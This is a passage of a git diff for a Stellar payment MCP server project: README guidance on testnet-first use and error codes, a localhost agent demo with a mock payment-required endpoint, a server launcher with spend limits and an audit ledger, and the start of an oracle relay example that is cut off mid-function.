`MCP_AGENT_SECRET_KEY_MAINNET`, use a brand-new mainnet account with **zero XLM** (or any account you can afford to lose). A payment attempt against an unfunded account fails deterministically with `ERR_INSUFFICIENT_BALANCE` instead of spending money. +3. Leave `MCP_MAX_PAYMENT_PRICE` at its default `$1.00`, or lower it. + +Only once you have confirmed the flow behaves as expected on testnet should you consider pointing `MCP_AGENT_SECRET_KEY_MAINNET` at a funded mainnet account — and only with an amount you are prepared to spend. + +Never log, echo, print, or commit a real secret key. This README shows env var names only; it never shows a key value. + +## Worked example: connect a client and call each tool + +Prerequisites: + +- Node.js installed +- Dependencies installed at the repo root (`npm install`) +- The two secret-key env vars set (see "Safe way to try it first" above) + +Run the server in one terminal: + +```bash +export MCP_AGENT_SECRET_KEY_TESTNET= +export MCP_AGENT_SECRET_KEY_MAINNET= +npm run mcp:server +``` + +The server starts on stdio and logs: + +``` +[mcp-server] Starting Bazaar MCP server on stdio... +[mcp-server] Agent configured for stellar:testnet and stellar:pubnet +``` + +In another terminal, run the agent example, which connects an MCP client, +lists the tools, and calls both of them: + +```bash +npm run mcp:agent +``` + +Expected output (shortened for readability here; the actual run prints full +JSON): + +``` +[mock-server] Started mock Bazaar API on http://localhost:3000 +[agent] Starting MCP server child process... +[agent] Connected to Bazaar MCP server. +[agent] Available tools: bazaar_search, paid_call + +[agent] 1. Discovering resources at http://localhost:3000... +[agent] Executing tool: bazaar_search +[agent] Search result: {"resources":[{"name":"Mock Price Feed",...}]} + +[agent] 2. Making a paid call to http://localhost:3000/api/v1/price... +[agent] Executing tool: paid_call +[agent] The MCP server will handle the 402 loop automatically... +[agent] Paid call succeeded! Retrieved data: +{"asset":"XLM","price":0.15,"timestamp":"..."} + +[agent] End to end demonstration complete. +``` + +### What each tool does + +- `bazaar_search` — searches a Bazaar node's discovery endpoint. Takes `url` + (base URL of the Bazaar API) and an optional `query`. Returns the catalog of + discoverable resources, or a structured error such as `ERR_NO_RESULTS` or + `ERR_SERVICE_UNREACHABLE`. +- `paid_call` — makes a paid API call to a Bazaar resource, handling the x402 + 402 payment loop automatically. Takes `url` (full URL of the resource) and an + optional `method` (default `GET`). Returns the resource body, or a structured + error such as `ERR_PAYMENT_REJECTED`, `ERR_INSUFFICIENT_BALANCE`, + `ERR_MISSING_TRUSTLINE`, `ERR_EXPIRED_AUTHORISATION`, or + `ERR_SERVICE_UNREACHABLE`. + +### Standalone client example + +You can also connect your own MCP client to the server. This TypeScript +example connects via stdio, lists tools, and calls both tools: + +```typescript +import { Client } from '@modelcontextprotocol/sdk/client/index.js'; +import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio.js'; + +async function main() { + const transport = new StdioClientTransport({ + command: process.platform === 'win32' ? 'npx.cmd' : 'npx', + args: ['tsx', 'examples/mcp-server/run.ts'], + }); + + const client = new Client( + { name: 'bazaar-client-example', version: '1.0.0' }, + { capabilities: {} }, + ); + + await client.connect(transport); + + const tools = await client.listTools(); + console.log('Available tools:', tools.tools.map((t) => t.name).join(', ')); + + // 1. Search for resources + const search = await client.callTool({ + name: 'bazaar_search', + arguments: { url: 'http://localhost:3000', query: 'XLM price' }, + }); + console.log('Search:', search.content[0].text); + + // 2. Make a paid call to the discovered resource + const paid = await client.callTool({ + name: 'paid_call', + arguments: { url: 'http://localhost:3000/api/v1/price' }, + }); + console.log('Paid call:', paid.content[0].text); + + await client.close(); +} + +main().catch((err) => { + console.error(err); + process.exit(1); +}); +``` + +Run it with `npx tsx ` from the repo root, with the secret-key env vars +set. The server process is spawned automatically by the transport. + +## Error codes + +Paid-call failures return deterministic, machine-readable codes (see +`src/mcp/codes.ts`): + +| Code | Meaning | +|---|---| +| `ERR_PAYMENT_REJECTED` | Payment was required but rejected or failed | +| `ERR_INSUFFICIENT_BALANCE` | The signing account lacks the balance to pay | +| `ERR_MISSING_TRUSTLINE` | Missing trustline for the required asset | +| `ERR_EXPIRED_AUTHORISATION` | The transaction signature expired before submission | +| `ERR_SERVICE_UNREACHABLE` | The Bazaar service could not be reached | +| `ERR_NO_RESULTS` | The search returned no resources | +| `ERR_BAD_REQUEST` | The request failed with a non-402 error status | +| `ERR_INTERNAL_FAILURE` | An unknown error occurred during the paid call | + +An agent is the least able caller to notice a wrong answer: the server +prefers returning a structured error over guessing a best-effort result, so +always check `isError` before acting on a tool response. + +## Related + +- MCP server implementation: [`src/mcp/server.ts`](../../src/mcp/server.ts) +- Error codes: [`src/mcp/codes.ts`](../../src/mcp/codes.ts) +- Tests: [`tests/mcp.test.ts`](../../tests/mcp.test.ts) +- Repo README MCP section: [`README.md`](../../README.md#mcp-model-context-protocol) diff --git a/examples/mcp-server/agent.ts b/examples/mcp-server/agent.ts index a9039892..2b8ab4b0 100644 --- a/examples/mcp-server/agent.ts +++ b/examples/mcp-server/agent.ts @@ -1,177 +1,177 @@ -import { Client } from '@modelcontextprotocol/sdk/client/index.js'; -import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio.js'; -import path from 'path'; -import Fastify from 'fastify'; - -/** - * This is a runnable example of an agent connecting to the Bazaar MCP server. - * It demonstrates how an agent can discover resources and make a paid call - * without having any pre-existing integration with the target service. - */ -async function main() { - // 1. Start a mock Bazaar API server for the demonstration - const app = Fastify(); - - app.get('/discovery/search', async (request, reply) => { - const q = (request.query as any).q; - return { - resources: [ - { - name: 'Mock Price Feed', - description: `Price data for ${q}`, - url: 'http://localhost:3000/api/v1/price' - } - ] - }; - }); - - // A mock 402 endpoint. - // For demonstration, we'll return 402 if no payment header, and success if it has one. - app.get('/api/v1/price', async (request, reply) => { - const authHeader = request.headers['authorization']; - if (!authHeader || !authHeader.startsWith('L402 ')) { - // Return a 402 Payment Required with mock challenge - reply.status(402).header('WWW-Authenticate', 'L402 macaroons="mock", invoice="mock"').send('Payment Required'); - return; - } - - // In a real server, it would verify the L402 token. - // Since our client will automatically retry with an L402 header after the 402, - // we can return success here to complete the loop demonstration. - // NOTE: If using strict L402 verification, this mock would fail verification. - // However, for this demonstration, we just return the data. - return { - asset: 'XLM', - price: 0.15, - timestamp: new Date().toISOString() - }; - }); - - await app.listen({ port: 3000 }); - console.log('[mock-server] Started mock Bazaar API on http://localhost:3000'); - - console.log('[agent] Starting MCP server child process...'); - - // Start the MCP server as a child process. - // paid_call spends real USDC, so the server only pays origins the operator - // allow-lists (MCP_PAID_CALL_ALLOWED_HOSTS, empty by default). This demo - // spends against the mock server above, so it names that origin and nothing - // else. A real deployment lists its own endpoints and leaves the rest refused. - const demoAllowlist = 'localhost:3000'; - - const transport = new StdioClientTransport({ - command: process.platform === 'win32' ? 'npx.cmd' : 'npx', - args: ['tsx', path.join(__dirname, 'run.ts')], - env: { - ...process.env as Record, - MCP_PAID_CALL_ALLOWED_HOSTS: process.env.MCP_PAID_CALL_ALLOWED_HOSTS || demoAllowlist, - }, - }); - - const client = new Client( - { - name: 'bazaar-agent-example', - version: '1.0.0', - }, - { - capabilities: {}, - } - ); - - await client.connect(transport); - console.log('[agent] Connected to Bazaar MCP server.'); - - const tools = await client.listTools(); - console.log('[agent] Available tools:', tools.tools.map(t => t.name).join(', ')); - - // Resources are the other half of the capability: read-only facts about Lens - // itself, attached to the agent's context once instead of re-fetched by - // calling a tool every turn. Each reports a content-hash version, so a client - // can tell whether a copy it cached is still current. - const resources = await client.listResources(); - console.log('[agent] Available resources:', resources.resources.map(r => r.uri).join(', ')); - - const statusResource = await client.readResource({ uri: 'lens://status' }); - console.log('[agent] lens://status:', statusResource.contents[0].text); - console.log('[agent] version:', statusResource.contents[0]._meta?.version); - - const BAZAAR_URL = 'http://localhost:3000'; - - // Step 0 is the one that needs no Bazaar node and no payment: Lens answering - // for its own data. It reads the ingestion database, so a machine without one - // gets a deterministic refusal instead of a number. - console.log('\n[agent] 0. Asking Lens directly for a price...'); - - const priceResult = await client.callTool({ - name: 'lens_get_price', - arguments: { assetA: 'native', assetB: 'USDC' }, - }); - - if (priceResult.isError) { - console.log('[agent] lens_get_price refused:', JSON.parse(priceResult.content[0].text).reason); - } else { - const price: any = priceResult.structuredContent ?? JSON.parse(priceResult.content[0].text); - console.log( - `[agent] ${price.pairKey} on ${price.network}: ${price.price} ${price.quote.code} per ${price.base.code} ` + - `(confidence ${price.confidence}, ${price.sources} source(s), last trade ${price.lastTradeAgeSeconds}s ago, ` + - `route ${price.bestRoute?.route ?? 'unknown'})` - ); - } - - console.log(`\n[agent] 1. Discovering resources at ${BAZAAR_URL}...`); - console.log(`[agent] Executing tool: bazaar_search`); - - let paidEndpoint = `${BAZAAR_URL}/api/v1/price`; - - try { - const searchResult = await client.callTool({ - name: 'bazaar_search', - arguments: { - url: BAZAAR_URL, - query: 'XLM price' - } - }); - - if (searchResult.isError) { - console.log(`[agent] Search failed. Code: ${JSON.parse(searchResult.content[0].text).code}`); - } else { - console.log('[agent] Search result:', searchResult.content[0].text); - const data = JSON.parse(searchResult.content[0].text); - if (data.resources && data.resources.length > 0) { - paidEndpoint = data.resources[0].url; - } - } - } catch (err: any) { - console.error('[agent] Search error:', err.message); - } - - console.log(`\n[agent] 2. Making a paid call to ${paidEndpoint}...`); - console.log(`[agent] Executing tool: paid_call`); - console.log(`[agent] The MCP server will handle the 402 loop automatically...`); - - try { - const paidResult = await client.callTool({ - name: 'paid_call', - arguments: { - url: paidEndpoint - } - }); - - if (paidResult.isError) { - const errorData = JSON.parse(paidResult.content[0].text); - console.log(`[agent] Paid call failed with deterministic code: ${errorData.code}`); - console.log(`[agent] Reason: ${errorData.reason}`); - } else { - console.log('[agent] Paid call succeeded! Retrieved data:'); - console.log(paidResult.content[0].text); - } - } catch (err: any) { - console.error('[agent] Paid call error:', err.message); - } - - console.log('\n[agent] End to end demonstration complete.'); - await app.close(); - process.exit(0); -} - -main().catch(console.error); +import { Client } from '@modelcontextprotocol/sdk/client/index.js'; +import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio.js'; +import path from 'path'; +import Fastify from 'fastify'; + +/** + * This is a runnable example of an agent connecting to the Bazaar MCP server. + * It demonstrates how an agent can discover resources and make a paid call + * without having any pre-existing integration with the target service. + */ +async function main() { + // 1. Start a mock Bazaar API server for the demonstration + const app = Fastify(); + + app.get('/discovery/search', async (request, reply) => { + const q = (request.query as any).q; + return { + resources: [ + { + name: 'Mock Price Feed', + description: `Price data for ${q}`, + url: 'http://localhost:3000/api/v1/price' + } + ] + }; + }); + + // A mock 402 endpoint. + // For demonstration, we'll return 402 if no payment header, and success if it has one. + app.get('/api/v1/price', async (request, reply) => { + const authHeader = request.headers['authorization']; + if (!authHeader || !authHeader.startsWith('L402 ')) { + // Return a 402 Payment Required with mock challenge + reply.status(402).header('WWW-Authenticate', 'L402 macaroons="mock", invoice="mock"').send('Payment Required'); + return; + } + + // In a real server, it would verify the L402 token. + // Since our client will automatically retry with an L402 header after the 402, + // we can return success here to complete the loop demonstration. + // NOTE: If using strict L402 verification, this mock would fail verification. + // However, for this demonstration, we just return the data. + return { + asset: 'XLM', + price: 0.15, + timestamp: new Date().toISOString() + }; + }); + + await app.listen({ port: 3000 }); + console.log('[mock-server] Started mock Bazaar API on http://localhost:3000'); + + console.log('[agent] Starting MCP server child process...'); + + // Start the MCP server as a child process. + // paid_call spends real USDC, so the server only pays origins the operator + // allow-lists (MCP_PAID_CALL_ALLOWED_HOSTS, empty by default). This demo + // spends against the mock server above, so it names that origin and nothing + // else. A real deployment lists its own endpoints and leaves the rest refused. + const demoAllowlist = 'localhost:3000'; + + const transport = new StdioClientTransport({ + command: process.platform === 'win32' ? 'npx.cmd' : 'npx', + args: ['tsx', path.join(__dirname, 'run.ts')], + env: { + ...process.env as Record, + MCP_PAID_CALL_ALLOWED_HOSTS: process.env.MCP_PAID_CALL_ALLOWED_HOSTS || demoAllowlist, + }, + }); + + const client = new Client( + { + name: 'bazaar-agent-example', + version: '1.0.0', + }, + { + capabilities: {}, + } + ); + + await client.connect(transport); + console.log('[agent] Connected to Bazaar MCP server.'); + + const tools = await client.listTools(); + console.log('[agent] Available tools:', tools.tools.map(t => t.name).join(', ')); + + // Resources are the other half of the capability: read-only facts about Lens + // itself, attached to the agent's context once instead of re-fetched by + // calling a tool every turn. Each reports a content-hash version, so a client + // can tell whether a copy it cached is still current. + const resources = await client.listResources(); + console.log('[agent] Available resources:', resources.resources.map(r => r.uri).join(', ')); + + const statusResource = await client.readResource({ uri: 'lens://status' }); + console.log('[agent] lens://status:', statusResource.contents[0].text); + console.log('[agent] version:', statusResource.contents[0]._meta?.version); + + const BAZAAR_URL = 'http://localhost:3000'; + + // Step 0 is the one that needs no Bazaar node and no payment: Lens answering + // for its own data. It reads the ingestion database, so a machine without one + // gets a deterministic refusal instead of a number. + console.log('\n[agent] 0. Asking Lens directly for a price...'); + + const priceResult = await client.callTool({ + name: 'lens_get_price', + arguments: { assetA: 'native', assetB: 'USDC' }, + }); + + if (priceResult.isError) { + console.log('[agent] lens_get_price refused:', JSON.parse(priceResult.content[0].text).reason); + } else { + const price: any = priceResult.structuredContent ?? JSON.parse(priceResult.content[0].text); + console.log( + `[agent] ${price.pairKey} on ${price.network}: ${price.price} ${price.quote.code} per ${price.base.code} ` + + `(confidence ${price.confidence}, ${price.sources} source(s), last trade ${price.lastTradeAgeSeconds}s ago, ` + + `route ${price.bestRoute?.route ?? 'unknown'})` + ); + } + + console.log(`\n[agent] 1. Discovering resources at ${BAZAAR_URL}...`); + console.log(`[agent] Executing tool: bazaar_search`); + + let paidEndpoint = `${BAZAAR_URL}/api/v1/price`; + + try { + const searchResult = await client.callTool({ + name: 'bazaar_search', + arguments: { + url: BAZAAR_URL, + query: 'XLM price' + } + }); + + if (searchResult.isError) { + console.log(`[agent] Search failed. Code: ${JSON.parse(searchResult.content[0].text).code}`); + } else { + console.log('[agent] Search result:', searchResult.content[0].text); + const data = JSON.parse(searchResult.content[0].text); + if (data.resources && data.resources.length > 0) { + paidEndpoint = data.resources[0].url; + } + } + } catch (err: any) { + console.error('[agent] Search error:', err.message); + } + + console.log(`\n[agent] 2. Making a paid call to ${paidEndpoint}...`); + console.log(`[agent] Executing tool: paid_call`); + console.log(`[agent] The MCP server will handle the 402 loop automatically...`); + + try { + const paidResult = await client.callTool({ + name: 'paid_call', + arguments: { + url: paidEndpoint + } + }); + + if (paidResult.isError) { + const errorData = JSON.parse(paidResult.content[0].text); + console.log(`[agent] Paid call failed with deterministic code: ${errorData.code}`); + console.log(`[agent] Reason: ${errorData.reason}`); + } else { + console.log('[agent] Paid call succeeded! Retrieved data:'); + console.log(paidResult.content[0].text); + } + } catch (err: any) { + console.error('[agent] Paid call error:', err.message); + } + + console.log('\n[agent] End to end demonstration complete.'); + await app.close(); + process.exit(0); +} + +main().catch(console.error); diff --git a/examples/mcp-server/run.ts b/examples/mcp-server/run.ts index ba3297a6..92a78a88 100644 --- a/examples/mcp-server/run.ts +++ b/examples/mcp-server/run.ts @@ -1,152 +1,152 @@ -import 'dotenv/config'; -import { BazaarMcpServer } from '../../src/mcp/server'; -import { - DEFAULT_MCP_METRICS_PATH, - DEFAULT_MCP_METRIC_NETWORKS, - McpTransportConfig, - parseMetricLabelAllowList, - resolveMcpTransportConfig, -} from '../../src/mcp/config'; -import { SpendBudget, defaultSpendStateFile } from '../../src/mcp/budget'; -import { PaymentLedger, defaultPaymentLedgerFile } from '../../src/mcp/ledger'; -import { wrapFetchWithPaymentFromConfig } from '@x402/fetch'; -import { ExactStellarScheme } from '@x402/stellar/exact/client'; -import { createEd25519Signer } from '@x402/stellar'; - -function formatHttpUrl(host: string, port: number, path: string): string { - const hostPart = host.includes(':') ? `[${host}]` : host; - return `http://${hostPart}:${port}${path}`; -} - -/** - * Hosts allowed to become the `host` label of a Prometheus series. Series are - * permanent, so labelling by whatever URL an agent asks for lets one caller - * mint unbounded time series; anything outside this list is reported as - * `unknown`. The audit file always keeps the real host regardless. - */ -function metricHosts(): string[] { - return parseMetricLabelAllowList(process.env.MCP_METRIC_HOSTS, []); -} - -/** Networks allowed to carry the `network` label; see DEFAULT_MCP_METRIC_NETWORKS. */ -function metricNetworks(): string[] { - return parseMetricLabelAllowList(process.env.MCP_METRIC_NETWORKS, DEFAULT_MCP_METRIC_NETWORKS); -} - -function formatLabelDomain(labels: readonly string[]): string { - return labels.length ? labels.join(', ') : 'every value is reported as unknown'; -} - -async function main() { - // Fail closed before a signer exists: an HTTP server that cannot authenticate - // callers must never reach the point where it can spend. - let transportConfig: McpTransportConfig; - try { - transportConfig = resolveMcpTransportConfig(); - } catch (e: any) { - console.error(`[mcp-server] Error: ${e.message}`); - process.exit(1); - } - - const testnetKey = process.env.MCP_AGENT_SECRET_KEY_TESTNET; - const mainnetKey = process.env.MCP_AGENT_SECRET_KEY_MAINNET; - - if (!testnetKey || !mainnetKey) { - console.error('[mcp-server] Error: MCP_AGENT_SECRET_KEY_TESTNET and MCP_AGENT_SECRET_KEY_MAINNET must be set'); - process.exit(1); - } - - const testnetSigner = createEd25519Signer(testnetKey, 'stellar:testnet'); - const pubnetSigner = createEd25519Signer(mainnetKey, 'stellar:pubnet'); - - const testnetClient = new ExactStellarScheme(testnetSigner); - const pubnetClient = new ExactStellarScheme(pubnetSigner); - - // A single payment is capped by spendControls.maxAmountPerPayment. The value is - // passed through to the budget so the cumulative ceiling can reserve each call at - // its worst case; leaving spendControls unset would let the library default of $1 - // differ from whatever MCP_MAX_PAYMENT_PRICE says. - const maxPrice = process.env.MCP_MAX_PAYMENT_PRICE || '$1.00'; - const dailyCeiling = process.env.MCP_DAILY_SPEND_CEILING || '$10.00'; - - // The audit trail is built before the transport so it can observe the payment - // the transport makes: a wrapped x402 fetch hands back a plain Response and the - // price only appears on the request, so the offer has to be read at the boundary. - const ledgerFile = process.env.MCP_PAYMENT_LEDGER_FILE || defaultPaymentLedgerFile(); - const labelHosts = metricHosts(); - const labelNetworks = metricNetworks(); - const paymentLedger = new PaymentLedger({ - filePath: ledgerFile, - metricHosts: labelHosts, - metricNetworks: labelNetworks, - }); - - const fetchWithPayment = wrapFetchWithPaymentFromConfig(paymentLedger.instrumentFetch(globalThis.fetch), { - spendControls: { - maxAmountPerPayment: maxPrice, - }, - schemes: [ - { - network: 'stellar:testnet', - client: testnetClient, - }, - { - network: 'stellar:pubnet', - client: pubnetClient, - } - ] - }); - - // The running total outlives the process: this server signs with a real key, and a - // restart does not refund what the previous process already spent. Point - // MCP_SPEND_STATE_FILE somewhere durable if the default location is not. - const budget = new SpendBudget({ - perCallMax: maxPrice, - dailyCeiling, - stateFilePath: process.env.MCP_SPEND_STATE_FILE || defaultSpendStateFile(), - }); - - const server = new BazaarMcpServer({ - fetchWithPayment, - budget, - paymentLedger - }); - - console.error('[mcp-server] Agent configured for stellar:testnet and stellar:pubnet'); - console.error(`[mcp-server] Spend limits: ${budget.describeLimits()}`); - // The audit file records where money went, never the key that signed it. - console.error(`[mcp-server] Payment audit trail: ${ledgerFile}`); - console.error( - `[mcp-server] Spend metric labels — host: ${formatLabelDomain(labelHosts)}; network: ${formatLabelDomain(labelNetworks)}` - ); - if (!labelHosts.length) { - console.error( - '[mcp-server] MCP_METRIC_HOSTS is empty, so every spend series is labelled host="unknown". Set it to the nodes this agent pays to get per-host spend.' - ); - } - - if (transportConfig.transport === 'http') { - console.error('[mcp-server] Starting Bazaar MCP server on streamable HTTP...'); - const handle = await server.runHttp(transportConfig); - const address = handle.server.address(); - const host = address && typeof address === 'object' ? address.address : transportConfig.host; - const port = address && typeof address === 'object' ? address.port : transportConfig.port; - console.error(`[mcp-server] Listening at ${formatHttpUrl(host, port, transportConfig.path)}`); - console.error('[mcp-server] Bearer token authentication is required for every request'); - console.error( - `[mcp-server] Payment spend metrics: GET ${formatHttpUrl(host, port, DEFAULT_MCP_METRICS_PATH)} with the same bearer token` - ); - return; - } - - console.error('[mcp-server] Starting Bazaar MCP server on stdio...'); - console.error( - '[mcp-server] stdio serves no HTTP listener, so the spend metrics of this process cannot be scraped; read the running total with the payment_budget tool or from the audit file above.' - ); - await server.run(); -} - -main().catch(err => { - console.error('[mcp-server] Fatal error:', err); - process.exit(1); -}); +import 'dotenv/config'; +import { BazaarMcpServer } from '../../src/mcp/server'; +import { + DEFAULT_MCP_METRICS_PATH, + DEFAULT_MCP_METRIC_NETWORKS, + McpTransportConfig, + parseMetricLabelAllowList, + resolveMcpTransportConfig, +} from '../../src/mcp/config'; +import { SpendBudget, defaultSpendStateFile } from '../../src/mcp/budget'; +import { PaymentLedger, defaultPaymentLedgerFile } from '../../src/mcp/ledger'; +import { wrapFetchWithPaymentFromConfig } from '@x402/fetch'; +import { ExactStellarScheme } from '@x402/stellar/exact/client'; +import { createEd25519Signer } from '@x402/stellar'; + +function formatHttpUrl(host: string, port: number, path: string): string { + const hostPart = host.includes(':') ? `[${host}]` : host; + return `http://${hostPart}:${port}${path}`; +} + +/** + * Hosts allowed to become the `host` label of a Prometheus series. Series are + * permanent, so labelling by whatever URL an agent asks for lets one caller + * mint unbounded time series; anything outside this list is reported as + * `unknown`. The audit file always keeps the real host regardless. + */ +function metricHosts(): string[] { + return parseMetricLabelAllowList(process.env.MCP_METRIC_HOSTS, []); +} + +/** Networks allowed to carry the `network` label; see DEFAULT_MCP_METRIC_NETWORKS. */ +function metricNetworks(): string[] { + return parseMetricLabelAllowList(process.env.MCP_METRIC_NETWORKS, DEFAULT_MCP_METRIC_NETWORKS); +} + +function formatLabelDomain(labels: readonly string[]): string { + return labels.length ? labels.join(', ') : 'every value is reported as unknown'; +} + +async function main() { + // Fail closed before a signer exists: an HTTP server that cannot authenticate + // callers must never reach the point where it can spend. + let transportConfig: McpTransportConfig; + try { + transportConfig = resolveMcpTransportConfig(); + } catch (e: any) { + console.error(`[mcp-server] Error: ${e.message}`); + process.exit(1); + } + + const testnetKey = process.env.MCP_AGENT_SECRET_KEY_TESTNET; + const mainnetKey = process.env.MCP_AGENT_SECRET_KEY_MAINNET; + + if (!testnetKey || !mainnetKey) { + console.error('[mcp-server] Error: MCP_AGENT_SECRET_KEY_TESTNET and MCP_AGENT_SECRET_KEY_MAINNET must be set'); + process.exit(1); + } + + const testnetSigner = createEd25519Signer(testnetKey, 'stellar:testnet'); + const pubnetSigner = createEd25519Signer(mainnetKey, 'stellar:pubnet'); + + const testnetClient = new ExactStellarScheme(testnetSigner); + const pubnetClient = new ExactStellarScheme(pubnetSigner); + + // A single payment is capped by spendControls.maxAmountPerPayment. The value is + // passed through to the budget so the cumulative ceiling can reserve each call at + // its worst case; leaving spendControls unset would let the library default of $1 + // differ from whatever MCP_MAX_PAYMENT_PRICE says. + const maxPrice = process.env.MCP_MAX_PAYMENT_PRICE || '$1.00'; + const dailyCeiling = process.env.MCP_DAILY_SPEND_CEILING || '$10.00'; + + // The audit trail is built before the transport so it can observe the payment + // the transport makes: a wrapped x402 fetch hands back a plain Response and the + // price only appears on the request, so the offer has to be read at the boundary. + const ledgerFile = process.env.MCP_PAYMENT_LEDGER_FILE || defaultPaymentLedgerFile(); + const labelHosts = metricHosts(); + const labelNetworks = metricNetworks(); + const paymentLedger = new PaymentLedger({ + filePath: ledgerFile, + metricHosts: labelHosts, + metricNetworks: labelNetworks, + }); + + const fetchWithPayment = wrapFetchWithPaymentFromConfig(paymentLedger.instrumentFetch(globalThis.fetch), { + spendControls: { + maxAmountPerPayment: maxPrice, + }, + schemes: [ + { + network: 'stellar:testnet', + client: testnetClient, + }, + { + network: 'stellar:pubnet', + client: pubnetClient, + } + ] + }); + + // The running total outlives the process: this server signs with a real key, and a + // restart does not refund what the previous process already spent. Point + // MCP_SPEND_STATE_FILE somewhere durable if the default location is not. + const budget = new SpendBudget({ + perCallMax: maxPrice, + dailyCeiling, + stateFilePath: process.env.MCP_SPEND_STATE_FILE || defaultSpendStateFile(), + }); + + const server = new BazaarMcpServer({ + fetchWithPayment, + budget, + paymentLedger + }); + + console.error('[mcp-server] Agent configured for stellar:testnet and stellar:pubnet'); + console.error(`[mcp-server] Spend limits: ${budget.describeLimits()}`); + // The audit file records where money went, never the key that signed it. + console.error(`[mcp-server] Payment audit trail: ${ledgerFile}`); + console.error( + `[mcp-server] Spend metric labels — host: ${formatLabelDomain(labelHosts)}; network: ${formatLabelDomain(labelNetworks)}` + ); + if (!labelHosts.length) { + console.error( + '[mcp-server] MCP_METRIC_HOSTS is empty, so every spend series is labelled host="unknown". Set it to the nodes this agent pays to get per-host spend.' + ); + } + + if (transportConfig.transport === 'http') { + console.error('[mcp-server] Starting Bazaar MCP server on streamable HTTP...'); + const handle = await server.runHttp(transportConfig); + const address = handle.server.address(); + const host = address && typeof address === 'object' ? address.address : transportConfig.host; + const port = address && typeof address === 'object' ? address.port : transportConfig.port; + console.error(`[mcp-server] Listening at ${formatHttpUrl(host, port, transportConfig.path)}`); + console.error('[mcp-server] Bearer token authentication is required for every request'); + console.error( + `[mcp-server] Payment spend metrics: GET ${formatHttpUrl(host, port, DEFAULT_MCP_METRICS_PATH)} with the same bearer token` + ); + return; + } + + console.error('[mcp-server] Starting Bazaar MCP server on stdio...'); + console.error( + '[mcp-server] stdio serves no HTTP listener, so the spend metrics of this process cannot be scraped; read the running total with the payment_budget tool or from the audit file above.' + ); + await server.run(); +} + +main().catch(err => { + console.error('[mcp-server] Fatal error:', err); + process.exit(1); +}); diff --git a/examples/oracle-relay/README.md b/examples/oracle-relay/README.md index 6e516892..0c503f6d 100644 --- a/examples/oracle-relay/README.md +++ b/examples/oracle-relay/README.md @@ -1,31 +1,31 @@ -# Oracle Relay Example - -This example shows the smallest useful shape for issue #65: - -- a Soroban contract that stores the latest price as a string -- a Node relay that reads Lens REST prices on an interval and writes the latest value on chain - -## Files - -- `contract/src/lib.rs` contains the contract logic -- `contract/Cargo.toml` defines the Soroban contract package -- `relay.ts` runs the polling relay - -## Environment - -Set these variables before running the relay: - -- `ORACLE_RELAY_API_URL` -- `ORACLE_RELAY_CONTRACT_ID` -- `ORACLE_RELAY_SOURCE_SECRET` -- `ORACLE_RELAY_ASSET_A` -- `ORACLE_RELAY_ASSET_B` -- `ORACLE_RELAY_INTERVAL_MS` - -## Run - -```bash -npm run oracle:relay -``` - +# Oracle Relay Example + +This example shows the smallest useful shape for issue #65: + +- a Soroban contract that stores the latest price as a string +- a Node relay that reads Lens REST prices on an interval and writes the latest value on chain + +## Files + +- `contract/src/lib.rs` contains the contract logic +- `contract/Cargo.toml` defines the Soroban contract package +- `relay.ts` runs the polling relay + +## Environment + +Set these variables before running the relay: + +- `ORACLE_RELAY_API_URL` +- `ORACLE_RELAY_CONTRACT_ID` +- `ORACLE_RELAY_SOURCE_SECRET` +- `ORACLE_RELAY_ASSET_A` +- `ORACLE_RELAY_ASSET_B` +- `ORACLE_RELAY_INTERVAL_MS` + +## Run + +```bash +npm run oracle:relay +``` + The relay supports `--help` for usage and `--once` for a single update cycle. \ No newline at end of file diff --git a/examples/oracle-relay/contract/Cargo.toml b/examples/oracle-relay/contract/Cargo.toml index 88842fbe..2eb6d6b3 100644 --- a/examples/oracle-relay/contract/Cargo.toml +++ b/examples/oracle-relay/contract/Cargo.toml @@ -1,13 +1,13 @@ -[package] -name = "oracle_relay" -version = "0.1.0" -edition = "2021" - -[lib] -crate-type = ["cdylib"] - -[dependencies] -soroban-sdk = "20" - -[dev-dependencies] +[package] +name = "oracle_relay" +version = "0.1.0" +edition = "2021" + +[lib] +crate-type = ["cdylib"] + +[dependencies] +soroban-sdk = "20" + +[dev-dependencies] soroban-sdk = { version = "20", features = ["testutils"] } \ No newline at end of file diff --git a/examples/oracle-relay/contract/src/lib.rs b/examples/oracle-relay/contract/src/lib.rs index e429c261..36eaf5f8 100644 --- a/examples/oracle-relay/contract/src/lib.rs +++ b/examples/oracle-relay/contract/src/lib.rs @@ -1,22 +1,22 @@ -#![no_std] - -use soroban_sdk::{contract, contractimpl, contracttype, Env, String}; - -#[contracttype] -enum DataKey { - Price, -} - -#[contract] -pub struct OracleRelayContract; - -#[contractimpl] -impl OracleRelayContract { - pub fn set_price(env: Env, price: String) { - env.storage().instance().set(&DataKey::Price, &price); - } - - pub fn get_price(env: Env) -> Option { - env.storage().instance().get(&DataKey::Price) - } +#![no_std] + +use soroban_sdk::{contract, contractimpl, contracttype, Env, String}; + +#[contracttype] +enum DataKey { + Price, +} + +#[contract] +pub struct OracleRelayContract; + +#[contractimpl] +impl OracleRelayContract { + pub fn set_price(env: Env, price: String) { + env.storage().instance().set(&DataKey::Price, &price); + } + + pub fn get_price(env: Env) -> Option { + env.storage().instance().get(&DataKey::Price) + } } \ No newline at end of file diff --git a/examples/oracle-relay/relay.ts b/examples/oracle-relay/relay.ts index d7e70f03..edd94516 100644 --- a/examples/oracle-relay/relay.ts +++ b/examples/oracle-relay/relay.ts @@ -1,192 +1,192 @@ -import 'dotenv/config' -import { pathToFileURL } from 'url' -import { - Account, - BASE_FEE, - Contract, - Keypair, - Networks, - TransactionBuilder, - nativeToScVal, - rpc as SorobanRpc, - scValToNative, -} from '@stellar/stellar-sdk' - -const HELP_TEXT = `Usage: npm run oracle:relay [-- --once] - -Environment: - ORACLE_RELAY_API_URL=http://localhost:3002 - ORACLE_RELAY_CONTRACT_ID=... - ORACLE_RELAY_SOURCE_SECRET=... - ORACLE_RELAY_ASSET_A=XLM - ORACLE_RELAY_ASSET_B=USDC - ORACLE_RELAY_INTERVAL_MS=60000 -` - -export interface OracleRelayConfig { - apiUrl: string - contractId: string - sourceSecret: string - assetA: string - assetB: string - intervalMs: number - networkPassphrase: string - rpcUrl: string -} - -export interface OraclePriceSnapshot { - assetA: string - assetB: string - price: number | string - timestamp: string -} - -function readConfig(): OracleRelayConfig { - const apiUrl = process.env.ORACLE_RELAY_API_URL ?? 'http://localhost:3002' - const contractId = 